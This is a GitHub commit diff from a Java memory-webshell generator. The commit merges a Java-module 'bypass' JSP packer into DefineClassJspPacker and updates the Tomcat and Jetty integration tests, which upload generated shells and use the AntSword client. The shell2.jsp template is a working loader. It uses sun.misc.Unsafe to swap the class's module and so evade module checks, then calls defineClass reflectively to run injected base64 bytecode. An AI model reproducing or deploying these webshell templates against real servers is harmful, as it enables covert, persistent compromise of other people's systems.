Skip to content

Commit 2ae8c14

Browse files
committed
refactor: combine normal and bypass JSP template
1 parent 20e0660 commit 2ae8c14

File tree

8 files changed

+23
-56
lines changed

8 files changed

+23
-56
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,10 @@
2424
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
2525
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
2626
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
27-
import com.reajason.javaweb.memshell.packer.jsp.*;
27+
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
28+
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
29+
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
30+
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
2831
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
2932
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
3033
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
@@ -68,7 +71,6 @@ public enum Packers {
6871
JSP(new JspPacker()),
6972
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
7073
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
71-
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
7274
JSPX(new JspxPacker(), JspPacker.class),
7375

7476
/**
@@ -140,10 +142,6 @@ public enum Packers {
140142
this.parentPacker = parentPacker;
141143
}
142144

143-
public static Packer getPacker(Packers packerType) {
144-
return null;
145-
}
146-
147145
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
148146
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
149147
}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@
99
import java.util.Base64;
1010

1111

12-
1312
/**
1413
* @author ReaJason
1514
* @since 2025/2/20

generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java

Lines changed: 0 additions & 34 deletions
This file was deleted.

generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,13 @@
1414
*/
1515
public class DefineClassJspPacker implements Packer {
1616

17-
String jspTemplate = null;
17+
String template = null;
18+
String bypassTemplate = null;
1819

1920
public DefineClassJspPacker() {
2021
try {
21-
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
22+
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
23+
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
2224
} catch (Exception ignored) {
2325

2426
}
@@ -29,6 +31,11 @@ public DefineClassJspPacker() {
2931
public String pack(GenerateResult generateResult) {
3032
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
3133
String injectorClassName = generateResult.getInjectorClassName();
32-
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
34+
String template = this.template;
35+
if (generateResult.getShellConfig().needByPassJavaModule()) {
36+
template = bypassTemplate;
37+
}
38+
return template.replace("{{className}}", injectorClassName)
39+
.replace("{{base64Str}}", injectorBytesBase64Str);
3340
}
3441
}

generator/src/main/resources/shell2.jsp

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
1-
<%@ page import="java.lang.reflect.Method" %>
2-
<%@ page import="java.lang.reflect.Field" %>
3-
<%@ page import="java.net.URLClassLoader" %>
4-
<%@ page import="java.net.URL" %><%
1+
<%
52
String base64Str = "{{base64Str}}";
63
byte[] bytecode = null;
74
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -16,22 +13,22 @@
1613
Object unsafe = null;
1714
Object rawModule = null;
1815
long offset = 48;
19-
Method getAndSetObjectM = null;
16+
java.lang.reflect.Method getAndSetObjectM = null;
2017
try {
2118
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
22-
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
19+
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
2320
unsafeField.setAccessible(true);
2421
unsafe = unsafeField.get(null);
2522
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
2623
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
27-
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
24+
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
2825
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
2926
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
3027
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
3128
} catch (Throwable ignored) {
3229
}
33-
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
34-
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
30+
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
31+
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
3532
defMethod.setAccessible(true);
3633
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
3734
if (getAndSetObjectM != null) {

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -304,7 +304,7 @@ public static GenerateResult generate(String urlPattern, Server server, String s
304304

305305
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
306306
switch (packer) {
307-
case JSP, ClassLoaderJSP, DefineClassJSP, BypassDefineClassJSP -> {
307+
case JSP, ClassLoaderJSP, DefineClassJSP -> {
308308
String uploadEntry = url + "/upload";
309309
String filename = shellType + shellTool + packer + ".jsp";
310310
String shellUrl = url + "/" + filename;

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ static Stream<Arguments> casesProvider() {
5757
ShellType.JAKARTA_LISTENER,
5858
ShellType.JETTY_AGENT_HANDLER
5959
);
60-
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX);
60+
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX);
6161
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
6262
null, List.of(ShellTool.AntSword)
6363
);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ static Stream<Arguments> casesProvider() {
6161
ShellType.AGENT_FILTER_CHAIN,
6262
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6363
);
64-
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
64+
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
6565
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
6666
}
6767

0 commit comments

Comments
 (0)